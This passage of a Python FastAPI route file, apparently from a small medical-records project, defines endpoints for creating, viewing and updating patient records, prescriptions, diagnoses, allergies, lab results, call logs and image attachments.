request.ms_product_name)\n    db.add(new_supply)\n    db.commit()\n    db.refresh(new_supply)\n    return new_supply\n\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE PRESCRIPTION DRUG\n# | =================================================================================\n# -->\n@router.get('/ShowPrescriptionDrug/{prescription_id}')\ndef get_all_prescription_drug(prescription_id:str,db: Session = Depends(get_db)):\n    prescription_drug = db.query(recordModel.Prescription).options(joinedload(recordModel.Prescription.docprescriptionFK),\n                                                                    joinedload(recordModel.Prescription.medicineFK)).filter(recordModel.Prescription.prescription_id ==  prescription_id).first()\n    return prescription_drug\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE PATIENT RECORD\n# | =================================================================================\n# -->\n@router.get('/patientRecord/{patient_record_id}')\ndef get_all_record(patient_record_id: str,request: Request, db: Session = Depends(get_db)):\n    try:\n        \n        \n        record = db.query(recordModel.Record).filter(recordModel.Record.patient_record_id == patient_record_id).first()\n        \n        # diagnosis = db.query(recordModel.Diagnosis).options(joinedload(recordModel.Diagnosis.docdiagnosisFK)).filter(recordModel.Diagnosis.patient_record_id == patient_record_id).all()\n        # doctor = db.query(doctorModel.Doctor).all()\n        return templates.TemplateResponse('sidenav/patientRecord/viewpatientrecord1.html',{\n            'request': request,\n            'record': record,\n            # 'diagnosis': diagnosis,\n            # 'doctor': doctor,\n        })\n    except Exception as e:\n        print(e)\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE PATIENT RECORD\n# | =================================================================================\n# -->\n@router.post('/patientRecord')\ndef get_all_(request: recordSchema.patientRecord, db: Session = Depends(get_db)):  \n        record = db.query(recordModel.Record).options(\n                                        joinedload(recordModel.Record.patientrecordFK),\n                                        joinedload(recordModel.Record.problemrecordFK),\n                                        joinedload(recordModel.Record.diagnosisrecordFK),\n                                        joinedload(recordModel.Record.labresultrecordFK),\n                                        joinedload(recordModel.Record.record_attachmentFK),\n                                        joinedload(recordModel.Record.call_logrecordFK),\n                                        joinedload(recordModel.Record.prescriptionrecordFK).joinedload(recordModel.Prescription.docprescriptionFK),\n                                        joinedload(recordModel.Record.progressnoterecordFK)).filter(recordModel.Record.patient_record_id == request.patient_record_id).first()\n        \n        diagnosis = db.query(recordModel.Diagnosis).options(joinedload(recordModel.Diagnosis.docdiagnosisFK)).filter(recordModel.Diagnosis.patient_record_id == request.patient_record_id).all()\n        doctor = db.query(doctorModel.Doctor).order_by(doctorModel.Doctor.department.asc()).all()\n        supply = db.query(presModel.Medicine).order_by(presModel.Medicine.med_product_name.asc()).all()\n        medicine = db.query(presModel.MedicalSupplies).order_by(presModel.MedicalSupplies.ms_product_name.asc()).all()\n        history = db.query(recordModel.History).filter(recordModel.History.patient_id == request.patient_id).first()\n        return record, diagnosis, doctor, history, supply, medicine  \n    # if not record:\n    #     raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n    #                         detail=f\"Record with the id {patient_record_id} is not available\")\n    # return record\n\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE PATIENT CALL LOG\n# | =================================================================================\n# -->\n@router.get('/patientCallLog/{patient_record_id}')\ndef get_all_log(patient_record_id: str,request: Request, db: Session = Depends(get_db)):\n    try:\n        \n        logs = db.query(recordModel.CallLog).options(joinedload(recordModel.CallLog.call_logFK),\n                                        joinedload(recordModel.CallLog.logsFK)).filter(recordModel.CallLog.patient_record_id == patient_record_id).first()\n        \n        \n        return templates.TemplateResponse('sidenav/patientRecord/patientcalllogs.html',{\n            'request': request,\n            'logs': logs\n        })\n    except Exception as e:\n        print(e)\n\n\n# <!-- \n# | =================================================================================\n# |                               ADD PATIENT RECORD\n# | =================================================================================\n# -->\n@router.post('/addRecord', status_code=status.HTTP_201_CREATED)\ndef add_record(request: recordSchema.AddRecord,db: Session = Depends(get_db)):\n    check_record = db.query(recordModel.Record).filter(recordModel.Record.patient_id == request.patient_id).first()\n    if check_record: \n        raise HTTPException(status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,\n                            detail=f\"Patient with the id {request.patient_id} has an existing record\")\n    else:\n        new_record = recordModel.Record(patient_id     = request.patient_id)\n        db.add(new_record)\n        db.commit()\n        db.refresh(new_record)\n    return new_record\n\n\n\n\n# <!-- \n# | =================================================================================\n# |                               ADD CALL LOG\n# | =================================================================================\n# -->\n@router.post('/log', status_code=status.HTTP_201_CREATED)\ndef add_log(request: recordSchema.AddLog,db: Session = Depends(get_db)):\n    new_call_log = recordModel.CallLog(patient_record_id      = request.patient_record_id)\n    db.add(new_call_log)\n    db.commit()\n    db.refresh(new_call_log)\n    return new_call_log\n\n# <!-- \n# | =================================================================================\n# |                               ADD CALL LOG DETAIL\n# | =================================================================================\n# -->\n@router.post('/logDetail', status_code=status.HTTP_201_CREATED)\ndef add_log_detail(request: recordSchema.AddLogDetail,db: Session = Depends(get_db)):\n    new_call_log_detail = recordModel.CallLogDetail(patient_call_log_id      = request.patient_call_log_id,\n                                        call_log_date           = request.call_log_date,\n                                        # payor_called            = request.payor_called,\n                                        contact_first_name      = request.contact_first_name,\n                                        contact_last_name       = request.contact_last_name,\n                                        contact_phone           = request.contact_phone,\n                                        call_details            = request.call_details,\n                                        follow_up_date          = request.follow_up_date)  \n    db.add(new_call_log_detail)\n    db.commit()\n    db.refresh(new_call_log_detail)\n    return new_call_log_detail\n\n# <!-- \n# | =================================================================================\n# |                               ADD MEDICATION\n# | =================================================================================\n# -->\n@router.post('/recordMedication', status_code=status.HTTP_201_CREATED)\ndef add_record_medication(request: recordSchema.AddMedication,db: Session = Depends(get_db)):\n    new_record_medication = recordModel.Medication(patient_record_id        = request.patient_record_id,\n                                                    drug_name               = request.drug_name,\n                                                    dosage                  = request.dosage,\n                                                    route                   = request.route,\n                                                    frequency               = request.frequency,\n                                                    quantity                = request.quantity,\n                                                    refill                  = request.refill,\n                                                    instructions            = request.instructions,\n                                                    start_date              = request.start_date,\n                                                    end_date                = request.end_date,\n                                                    medication_status       = request.medication_status)\n    db.add(new_record_medication)\n    db.commit()\n    db.refresh(new_record_medication)\n    return new_record_medication\n\n# <!-- \n# | =================================================================================\n# |                               ADD ALLERGY\n# | =================================================================================\n# -->\n@router.post('/recordAllergy', status_code=status.HTTP_201_CREATED)\ndef add_record_allergy(request: recordSchema.AddAllergy,db: Session = Depends(get_db)):\n    new_record_allergy = recordModel.Allergy(patient_record_id        = request.patient_record_id,\n                                                    allergen             = request.allergen,\n                                                    reaction             = request.reaction,\n                                                    severity             = request.severity,\n                                                    comment              = request.comment)\n    db.add(new_record_allergy)\n    db.commit()\n    db.refresh(new_record_allergy)\n    return new_record_allergy\n\n# <!-- \n# | =================================================================================\n# |                               ADD IMMUNIZATION\n# | =================================================================================\n# -->\n@router.post('/recordImmunization', status_code=status.HTTP_201_CREATED)\ndef add_record_immunization(request: recordSchema.AddImmunization,db: Session = Depends(get_db)):\n    new_record_immunization = recordModel.Immunization(patient_record_id        = request.patient_record_id,\n                                                    vaccine                     = request.vaccine,\n                                                    type                        = request.type,\n                                                    date_given                  = request.date_given,\n                                                    administered_by             = request.administered_by)\n    db.add(new_record_immunization)\n    db.commit()\n    db.refresh(new_record_immunization)\n    return new_record_immunization\n\n\n\n# <!-- \n# | =================================================================================\n# |                               ADD HISTORY\n# | =================================================================================\n# -->\n@router.post('/medicalHistory', status_code=status.HTTP_201_CREATED)\ndef add_record_history(request: recordSchema.AddHistory,db: Session = Depends(get_db)):\n    new_record_history = recordModel.History(patient_id             = request.patient_id,\n                                            chief_complaint         = request.chief_complaint,\n                                            previous_hospital       = request.previous_hospital,\n                                            previous_doctor         = request.previous_doctor,\n                                            previous_diagnosis      = request.previous_diagnosis,\n                                            previous_treatment      = request.previous_treatment,\n                                            previous_surgeries      = request.previous_surgeries,\n                                            previous_medication     = request.previous_medication,\n                                            health_conditions       = request.health_conditions,\n                                            special_privileges      = request.special_privileges,\n                                            family_history          = request.family_history)\n    db.add(new_record_history)\n    db.commit()\n    db.refresh(new_record_history)\n    return new_record_history\n\n# <!-- \n# | =================================================================================\n# |                               ADD PROBLEM\n# | =================================================================================\n# -->\n@router.post('/medicalProblem', status_code=status.HTTP_201_CREATED)\ndef add_record_problem(request: recordSchema.AddProblem,db: Session = Depends(get_db)):\n    new_record_problem = recordModel.Problem(patient_record_id      = request.patient_record_id,\n                                            problem_name            = request.problem_name,\n                                            active_status           = request.active_status,\n                                            problem_note            = request.problem_note,\n                                            date_occured            = request.date_occured,\n                                            date_resolved           = request.date_resolved)\n    db.add(new_record_problem)\n    db.commit()\n    db.refresh(new_record_problem)\n    return new_record_problem\n\n# <!-- \n# | =================================================================================\n# |                               ADD DIAGNOSIS\n# | =================================================================================\n# -->\n@router.post('/medicalDiagnosis', status_code=status.HTTP_201_CREATED)\ndef add_record_diagnosis(request: recordSchema.AddDiagnosis,db: Session = Depends(get_db)):\n    doctor = db.query(doctorModel.Doctor).filter(doctorModel.Doctor.doc_id == request.doc_id).first()\n    doctor = doctor.first_name+' '+doctor.last_name \n    new_record_diagnosis = recordModel.Diagnosis(patient_record_id      = request.patient_record_id,\n                                                doc_id                  = request.doc_id, \n                                                description= request.description, \n                                                diagnosis= request.diagnosis)\n    db.add(new_record_diagnosis)\n    db.commit()\n    db.refresh(new_record_diagnosis)\n\n    return new_record_diagnosis,doctor\n\n# <!-- \n# | =================================================================================\n# |                               ADD LAB RESULT\n# | =================================================================================\n# -->\n@router.post('/medicalLabResult', status_code=status.HTTP_201_CREATED)\ndef add_record_lab_result(request: recordSchema.AddLabResult,db: Session = Depends(get_db)):\n    new_record_lab_result = recordModel.LabResult(patient_record_id      = request.patient_record_id,\n                                                    specimen             = request.specimen,\n                                                    result               = request.result,\n                                                    reference            = request.reference,\n                                                    unit                 = request.unit,\n                                                    status               = request.status,\n                                                    detailed_result     = request.detailed_result )\n    db.add(new_record_lab_result)\n    db.commit()\n    db.refresh(new_record_lab_result)\n    return new_record_lab_result\n\n# <!-- \n# | =================================================================================\n# |                               ADD Surgery Type\n# | =================================================================================\n# -->\n@router.post('/surgery_type', status_code=status.HTTP_201_CREATED)\ndef add_surgery_type(request: recordSchema.AddSurgeryType,db: Session = Depends(get_db)):\n    new_surgery_type = surgery.SurgeryType (name            = request.name,\n                                            description     = request.description,)\n    db.add(new_surgery_type)\n    db.commit()\n    db.refresh(new_surgery_type)\n    return new_surgery_type\n\n# <!-- \n# | =================================================================================\n# |                               ADD Surgery\n# | =================================================================================\n# -->\n@router.post('/surgery', status_code=status.HTTP_201_CREATED)\ndef add_surgery(request: recordSchema.AddSurgery,db: Session = Depends(get_db)):\n    new_surgery = surgery.Surgery    (patient_record_id     = request.patient_record_id,\n                                            surgery_type_id = request.surgery_type_id,\n                                            start_time      = request.start_time,\n                                            end_time        = request.end_time,\n                                            description     = request.description,)\n    db.add(new_surgery)\n    db.commit()\n    db.refresh(new_surgery)\n    return new_surgery\n\n# <!-- \n# | =================================================================================\n# |                               ADD PRESCRIPTION[DRUG]\n# | =================================================================================\n# -->\n@router.post('/medicalPrescription', status_code=status.HTTP_201_CREATED)\ndef add_record_prescription(request: recordSchema.AddPrescription,db: Session = Depends(get_db)):\n    new_record_prescription = recordModel.Prescription(patient_record_id      = request.patient_record_id,\n                                                        med_id               = request.med_id,\n                                                        medication_type      = request.medication_type,\n                                                        dosage               = request.dosage,\n                                                        quantity             = request.quantity,\n                                                        frequency            = request.frequency,\n                                                        route                = request.route,\n                                                        doc_id               = request.doc_id,\n                                                        date_prescribed      = request.date_prescribed,\n                                                        prescription_notes   = request.prescription_notes)\n    db.add(new_record_prescription)\n    db.commit()\n    db.refresh(new_record_prescription)\n    return new_record_prescription\n\n# <!-- \n# | =================================================================================\n# |                               ADD PRESCRIPTION[SUPPLY]\n# | =================================================================================\n# -->\n@router.post('/medicalPrescriptionSupply', status_code=status.HTTP_201_CREATED)\ndef add_record_prescription_supply(request: recordSchema.AddPrescriptionSupply,db: Session = Depends(get_db)):\n    new_record_prescription_s = recordModel.Prescription(patient_record_id      = request.patient_record_id,\n                                                        supply_id            = request.supply_id,\n                                                        medication_type      = request.medication_type,\n                                                        quantity             = request.quantity,\n                                                        doc_id               = request.doc_id,\n                                                        date_prescribed      = request.date_prescribed,\n                                                        prescription_notes   = request.prescription_notes)\n    db.add(new_record_prescription_s)\n    db.commit()\n    db.refresh(new_record_prescription_s)\n    return new_record_prescription_s\n\n\n\n# <!-- \n# | =================================================================================\n# |                               ADD PROGRESS NOTES\n# | =================================================================================\n# -->\n@router.post('/medicalProgressNote', status_code=status.HTTP_201_CREATED)\ndef add_record_progress_note(request: recordSchema.AddProgressNote,db: Session = Depends(get_db)):\n    new_record_progress_note = recordModel.ProgressNote(patient_record_id      = request.patient_record_id,\n                                                        doc_id                 = request.doc_id,\n                                                        reason_for_consultation = request.reason_for_consultation,\n                                                        physical_examination   = request.physical_examination,\n                                                        impression              = request.impression,\n                                                        recommendation          = request.recommendation,\n                                                        consultation_date       = request.consultation_date,\n                                                        next_appointment        = request.next_appointment\n                                                        )\n    db.add(new_record_progress_note)    \n    db.commit()\n    db.refresh(new_record_progress_note)\n    return new_record_progress_note\n\n\n# <!-- \n# | =================================================================================\n# |                               ADD ATTACHMENT (UPLOAD FILE)\n# | =================================================================================\n# -->\n@router.post(\"/uploadAttachment/upload/{patient_record_id}\")\nasync def add_attachment(patient_record_id:str,file: UploadFile = File(...),db: Session = Depends(get_db)):\n    FILEPATH = \"./static/app/files/\"\n    filename = file.filename\n    extension = filename.split(\".\")[1]\n    if extension not in [\"png\",\"jpg\",\"jpeg\",\"bmp\",\"gif\"]:\n        raise HTTPException(404, \"file extension not allowed\")\n\n    token_name = secrets.token_hex(10)+\".\"+extension\n    generated_name = FILEPATH + token_name\n    file_content = await file.read()\n    with open(generated_name, \"wb\") as file:\n        file.write(file_content)\n\n\n    # PILLOW\n    img = Image.open(generated_name)\n    img = img.resize(size =(700, 500))\n    img.save(generated_name)\n\n    file.close\n    file_url = \"localhost:8003\"+ generated_name[1:]\n\n    attachment = recordModel.Attachment(attachment = token_name, patient_record_id = patient_record_id)\n    db.add(attachment)\n    db.commit()\n    db.refresh(attachment)\n    return attachment\n\n# <!-- \n# | =================================================================================\n# |                               +ADD ATTACHMENT (CONTINUATION OF UPLOAD FILE)\n# | =================================================================================\n# -->\n@router.put('/recordAttachment/{attachment_id}', status_code=status.HTTP_201_CREATED)\ndef add_record_attachment(attachment_id: str, request: recordSchema.UpdateAttachment,db: Session = Depends(get_db)):\n    if not db.query(recordModel.Attachment).filter(recordModel.Attachment.attachment_id == attachment_id).update({\n                                                            'type' : request.type}):\n        raise HTTPException(404, 'Upload not successful')\n    db.commit()\n    new_record_attachment = db.query(recordModel.Attachment).filter(recordModel.Attachment.attachment_id == attachment_id).first()\n    return new_record_attachment\n\n\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE PRESCRIPTION SUPPLY\n# | =================================================================================\n# -->\n@router.get('/ShowPrescriptionSupply/{prescription_id}')\ndef get_one_prescription_supply(prescription_id:str,db: Session = Depends(get_db)):\n    supply = db.query(recordModel.Prescription).options(joinedload(recordModel.Prescription.docprescriptionFK),\n                                                        joinedload(recordModel.Prescription.supplyFK)).filter(recordModel.Prescription.prescription_id ==  prescription_id).first()\n    return supply\n\n# <!-- \n# | =================================================================================\n# |                               GET ALL HISTORY\n# | =================================================================================\n# -->\n@router.get('/showMedicalHistory', response_model=recordSchema.ShowHistory)\ndef get_all_history(db: Session = Depends(get_db)):\n    record = db.query(recordModel.History).all()\n    return record\n\n# <!-- \n# | =================================================================================\n# |                               GET ALL PROBLEM\n# | =================================================================================\n# -->\n@router.get('/showMedicalProblem', response_model=recordSchema.ShowProblem)\ndef get_all_problem(db: Session = Depends(get_db)):\n    record = db.query(recordModel.Problem).all()\n    return record\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE DIAGNOSIS\n# | =================================================================================\n# -->\n@router.get('/ShowDiagnosticResult/{diagnosis_id}')\ndef get_one_diagnostic_result(diagnosis_id:str,db: Session = Depends(get_db)):\n    diagnostic_result = db.query(recordModel.Diagnosis).options(joinedload(recordModel.Diagnosis.docdiagnosisFK)).filter(recordModel.Diagnosis.diagnosis_id ==  diagnosis_id).first()\n    return diagnostic_result\n\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE PROGRESS NOTES\n# | =================================================================================\n# -->\n@router.get('/ShowProgressNote/{progress_note_id}')\ndef get_one_progress_note(progress_note_id:str,db: Session = Depends(get_db)):\n    progress_note = db.query(recordModel.ProgressNote).filter(recordModel.ProgressNote.progress_note_id ==  progress_note_id).first()\n    return progress_note\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE PROBLEM\n# | =================================================================================\n# -->\n@router.get('/ShowProblem/{problem_id}')\ndef get_one_medical_problem(problem_id:str,db: Session = Depends(get_db)):\n    medical_problem = db.query(recordModel.Problem).filter(recordModel.Problem.problem_id ==  problem_id).first()\n    return medical_problem\n\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE LAB RESULT\n# | =================================================================================\n# -->\n@router.get('/ShowLabResult/{lab_result_id}')\ndef get_one_lab_result(lab_result_id:str,db: Session = Depends(get_db)):\n    lab_result = db.query(recordModel.LabResult).filter(recordModel.LabResult.lab_result_id ==  lab_result_id).first()\n    return lab_result\n\n    # <!-- \n# | =================================================================================\n# |                               GET ONE SURGERY\n# | =================================================================================\n# -->\n@router.get('/ShowSurgery/{id}')\ndef get_one_surgery(id:str,db: Session = Depends(get_db)):\n    get_surgery = db.query(surgery.Surgery).options(joinedload(surgery.Surgery.surgery_type)).filter(surgery.Surgery.id ==  id).first()\n    return get_surgery\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE CALL LOG DETAIL\n# | =================================================================================\n# -->\n@router.get('/ShowCallLog/{call_log_detail_id}')\ndef get_one_call_log(call_log_detail_id:str,db: Session = Depends(get_db)):\n    call_log = db.query(recordModel.CallLogDetail).filter(recordModel.CallLogDetail.call_log_detail_id ==  call_log_detail_id).first()\n    return call_log\n\n# <!-- \n# | =================================================================================\n# |                               GET ALL CALL LOG DETAIL OF PATIENT\n# | =================================================================================\n# -->\n@router.get('/PatientCallLog/{patient_call_log_id}')\ndef get_all_patient_call_log(patient_call_log_id:str,db: Session = Depends(get_db)):\n    call_log = db.query(recordModel.CallLogDetail).options(joinedload(recordModel.CallLogDetail.call_logsFK).options(joinedload(recordModel.CallLog.call_logFK).options(joinedload(recordModel.Record.patientrecordFK)))).filter(recordModel.CallLogDetail.patient_call_log_id ==  patient_call_log_id).order_by(recordModel.CallLogDetail.call_log_date.desc()).all()\n    return call_log\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE ALLERGY\n# | =================================================================================\n# -->\n@router.get('/ShowAllergy/{allergy_id}')\ndef get_one_allergy(allergy_id:str,db: Session = Depends(get_db)):\n    allergy = db.query(recordModel.Allergy).filter(recordModel.Allergy.allergy_id ==  allergy_id).first()\n    return allergy\n\n# <!-- \n# | =================================================================================\n# |                               GET ONE MEDICATION\n# | =================================================================================\n# -->\n@router.get('/ShowMedications/{medication_id}')\ndef get_one_medication(medication_id:str,db: Session = Depends(get_db)):\n    medication = db.query(recordModel.Medication).filter(recordModel.Medication.medication_id ==  medication_id).first()\n    return medication\n\n# <!-- \n# | =================================================================================\n# |                               UPDATE MEDICATION\n# | =================================================================================\n# -->\n@router.put('/updateMedication/{medication_id}', status_code=status.HTTP_202_ACCEPTED)\ndef update_medication(medication_id: str, request: recordSchema.UpdateMedication,db: Session = Depends(get_db)):\n    if not db.query(recordModel.Medication).filter(recordModel.Medication.medication_id == medication_id).update({\n                                                    'drug_name': request.drug_name ,\n                                                    'dosage': request.dosage ,\n                                                    'route': request.route ,\n                                                    'frequency': request.frequency,\n                                                    'quantity': request.quantity,\n                                                    'refill': request.refill,\n                                                    'instructions': request.instructions,\n                                                    'start_date': request.start_date,\n                                                    'end_date': request.end_date,\n                                                    'medication_status': request.medication_status\n                                                    }):\n        raise HTTPException(404, 'Medication not found')\n    db.commit()\n    updated_medication = db.query(recordModel.Medication).filter(recordModel.Medication.medication_id == medication_id).first()\n    return updated_medication\n\n# <!-- \n# | =================================================================================\n# |                               UPDATE ALLERGY\n# | =================================================================================\n# -->\n@router.put('/updateAllergy/{allergy_id}', status_code=status.HTTP_202_ACCEPTED)\ndef update_allergy(allergy_id: str, request: recordSchema.UpdateAllergy,db: Session = Depends(get_db)):\n    if not db.query(recordModel.Allergy).filter(recordModel.Allergy.allergy_id == allergy_id).update({\n                                                    'allergen': request.allergen ,\n                                                    'reaction': request.reaction ,\n                                                    'severity': request.severity ,\n                                                    'comment': request.comment,\n\n                                                    }):\n        raise HTTPException(404, 'Allergy not found')\n    db.commit()\n    updated_allergy = db.query(recordModel.Allergy).filter(recordModel.Allergy.allergy_id == allergy_id).first()\n    return updated_allergy\n\n# <!-- \n# | =================================================================================\n# |                               UPDATE HISTORY\n# | =================================================================================\n# -->\n@router.put('/updateMedicalHistory/{history_id}', status_code=status.HTTP_202_ACCEPTED)\ndef updateMedicalHistory(history_id: str, request: recordSchema.UpdateMedicalHistory,db: Session = Depends(get_db)):\n    if not db.query(recordModel.History).filter(recordModel.History.history_id == history_id).update({\n                                                    'chief_complaint': request.chief_complaint,\n                                                    'medical_history': request.medical_history,\n                                                    'allergy': request.allergy,\n                                                    'general_physician': request.general_physician,\n                                                    'medication': request.medication,\n                                                    'family_history': request.family_history\n                                                    }):\n        raise HTTPException(404, 'User to Medical History is not found')\n    db.commit()\n    updated_medicalHistory = db.query(recordModel.History).filter(recordModel.History.history_id == history_id).first()\n    return updated_medicalHistory\n\n# <!-- \n# | =================================================================================\n# |                               UPDATE PROBLEM - ACTIVE STATUS\n# | =================================================================================\n# -->\n@router.put('/updateProblem/{problem_id}', status_code=status.HTTP_202_ACCEPTED)\ndef updateMedicalProblem(problem_id: str, request: recordSchema.UpdateProblem,db: Session = Depends(get_db)):\n    if not db.query(recordModel.Problem).filter(recordModel.Problem.problem_id == problem_id).update({\n                                                    'date_resolved': request.date_resolved,\n                                                    'active_status': 'Resolved'\n                                                    }):\n        raise HTTPException(404, 'Medical Problem is not found')\n    db.commit()\n    updated_medicalProblem = db.query(recordModel.Problem).filter(recordModel.Problem.problem_id == problem_id).first()\n    return updated_medicalProblem\n\n# <!-- \n# | =================================================================================\n# |                               UPDATE PROBLEM\n# | =================================================================================\n# -->\n@router.put('/updateMedicalProblem/{problem_id}', status_code=status.HTTP_202_ACCEPTED)\ndef updateProblem(problem_id: str, request: recordSchema.UpdateMedicalProblem,db: Session = Depends(get_db)):\n    if not db.query(recordModel.Problem).filter(recordModel.Problem.problem_id == problem_id).update({\n                                                    'problem_name': request.problem_name,\n                                                    'problem_note': request.problem_note,\n                                                    'active_status': request.active_status,\n                                                    'date_occured': request.date_occured,\n                                                    'date_resolved': request.date_resolved,\n\n                                                    }):\n        raise HTTPException(404, 'Medical Problem is not found')\n    db.commit()\n    updated_Problem = db.query(recordModel.Problem).filter(recordModel.Problem.problem_id == problem_id).first()\n    return updated_Problem\n\n# <!-- \n# | =================================================================================\n# |                               UPDATE PROGRESS NOTES\n# | =================================================================================\n# -->\n@router.put('/updateProgressNote/{progress_note_id}', status_code=status.HTTP_202_ACCEPTED)\ndef update_progress_note(progress_note_id: str, request: recordSchema.UpdateProgressNote,db: Session = Depends(get_db)):\n    if not db.query(recordModel.ProgressNote).filter(recordModel.ProgressNote.progress_note_id == progress_note_id).update({\n                                                    'reason_for_consultation': request.reason_for_consultation,\n                                                    'physical_examination': request.physical_examination,\n                                                    'impression': request.impression,\n                                                    'recommendation': request.recommendation,\n                                                    'next_appointment': request.next_appointment,\n                                                    'consultation_date': request.consultation_date,\n                                                    }):\n        raise HTTPException(404, 'Progress Note is not found')\n    db.commit()\n    updated_progressNote = db.query(recordModel.Problem).filter(recordModel.Problem.problem_id == progress_note_id).first()\n    return updated_progressNote\n\n\n# <!-- \n# | =================================================================================\n# |                               UPDATE CALL LOG DETAIL\n# | =================================================================================\n# -->\n@router.put('/updateCallLog/{call_log_detail_id}', status_code=status.HTTP_202_ACCEPTED)\ndef update_call_log(call_log_detail_id: str, request: recordSchema.UpdateCallLog,db: Session = Depends(get_db)):\n    if not db.query(recordModel.CallLogDetail).filter(recordModel.CallLogDetail.call_log_detail_id == call_log_detail_id).update({\n                                                    'call_log_date': request.call_log_date,\n                                                    'contact_first_name': request.contact_first_name,\n                                                    'contact_last_name': request.contact_last_name,\n                                                    'contact_phone': request.contact_phone,\n                                                    'call_details': request.call_details,\n                                                    'follow_up_date': request.follow_up_date\n                                                    }):\n        raise HTTPException(404, 'Call Log is not found')\n    db.commit()\n    updated_callLog = db.query(recordModel.CallLogDetail).filter(recordModel.CallLogDetail.call_log_detail_id == call_log_detail_id).first()\n    return updated_callLog\n\n\n# <!-- \n# | =================================================================================\n# |                               UPDATE LAB RESULT\n# | =================================================================================\n# -->\n@router.put('/updateLabResult/{lab_result_id}', status_code=status.HTTP_202_ACCEPTED)\ndef update_lab_result(lab_result_id: str, request: recordSchema.UpdateLabResult,db: Session = Depends(get_db)):\n    if not db.query(recordModel.LabResult).filter(recordModel.LabResult.lab_result_id == lab_result_id).update({\n                                                    'specimen': request.specimen,\n                                                    'result': request.result,\n                                                    'reference': request.reference,\n                                                    'unit': request.unit,\n                                                    'status': request.status,\n                                                    'detailed_result': request.detailed_result\n                                                    }):\n        raise HTTPException(404, 'Laboratory result is not found')\n    db.commit()\n    updated_labResult = db.query(recordModel.LabResult).filter(recordModel.LabResult.lab_result_id == lab_result_id).first()\n    return updated_labResult\n\n# <!-- \n# | =================================================================================\n# |                               UPDATE DIAGNOSIS\n# | =================================================================================\n# -->\n@router.put('/updateDiagnosticResult/{diagnosis_id}', status_code=status.HTTP_202_ACCEPTED)\ndef updateDiagnosis(diagnosis_id: str, request: recordSchema.updateDiagnosis,db: Session = Depends(get_db)):\n    if not db.query(recordModel.Diagnosis).filter(recordModel.Diagnosis.diagnosis_id == diagnosis_id).update({\n        'doc_id': request.doc_id,\n        'diagnosis': request.diagnosis,\n        'description': request.description\n    }):\n        raise HTTPException(404, 'Diagnostic Result is not found')\n    db.commit()\n    updated_diagnosticResult = db.query(recordModel.Diagnosis).filter(recordModel.Diagnosis.diagnosis_id == diagnosis_id).first()\n    return updated_diagnosticResult\n\n# <!-- \n# | =================================================================================\n# |                               UPDATE PRESCRIPTION[DRUG]\n# | =================================================================================\n# -->\n@router.put('/updatePrescriptionDrug/{prescription_id}', status_code=status.HTTP_202_ACCEPTED)\ndef update_medicalPrescription(prescription_id: str, request: recordSchema.UpdatePrescriptionDrug,db: Session = Depends(get_db)):\n    if not db.query(recordModel.Prescription).filter(recordModel.Prescription.prescription_id == prescription_id).update({\n                                                    'med_id': request.med_id ,\n                                                    'dosage': request.dosage ,\n                                                    'quantity': request.quantity ,\n                                                    'frequency': request.frequency ,\n                                                    'route': request.route,\n                                                    'doc_id': request.doc_id ,\n                                                    'prescription_notes': request.prescription_notes,\n                                                    'date_prescribed' : request.date_prescribed\n                                                    }):\n        raise HTTPException(404, 'Prescription not found')\n    db.commit()\n    updated_prescription = db.query(recordModel.Prescription).options(joinedload(recordModel.Prescription.medicineFK)).filter(recordModel.Prescription.prescription_id == prescription_id).first()\n    return updated_prescription\n\n# <!-- \n# | =================================================================================\n# |                               UPDATE PRESCRIPTION[SUPPLY]\n# | =================================================================================\n# -->\n@router.put('/updatePrescriptionSupply/{prescription_id}', status_code=status.HTTP_202_ACCEPTED)\ndef update_medicalPrescriptionSupply(prescription_id: str, request: recordSchema.UpdatePrescriptionSupply,db: Session = Depends(get_db)):\n    if not db.query(recordModel.Prescription).filter(recordModel.Prescription.prescription_id == prescription_id).update({\n                                                    'supply_id': request.supply_id ,\n                                                    'quantity': request.quantity ,\n                                                    'doc_id': request.doc_id ,\n                                                    'prescription_notes': request.prescription_notes,\n                                                    'date_prescribed' : request.date_prescribed\n                                                    }):\n        raise HTTPException(404, 'Prescription not found')\n    db.commit()\n    updated_prescription_s = db.query(recordModel.Prescription).filter(recordModel.Prescription.prescription_id == prescription_id).first()\n    return updated_prescription_s\n\n# <!-- \n# | =================================================================================\n# |                               GET ALL PATIENT RECORD\n# | =================================================================================\n# -->\n\n@router.get('/')\ndef get_all(db: Session = Depends(get_db)):\n    record = db.query(recordModel.Record).options(joinedload(recordModel.Record.historyrecordFK),\n                                        joinedload(recordModel.Record.problemrecordFK),\n                                        joinedload(recordModel.Record.diagnosisrecordFK),\n                                        joinedload(recordModel.Record.labresultrecordFK),\n                                        joinedload(recordModel.Record.prescriptionrecordFK),\n                                        joinedload(recordModel.Record.progressnoterecordFK)).all()\n    return record\n\n\n","repo_name":"jndia000/Homies-MRS","sub_path":"routes/recordRoute.py","file_name":"recordRoute.py","file_ext":"py","file_size_in_byte":47820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
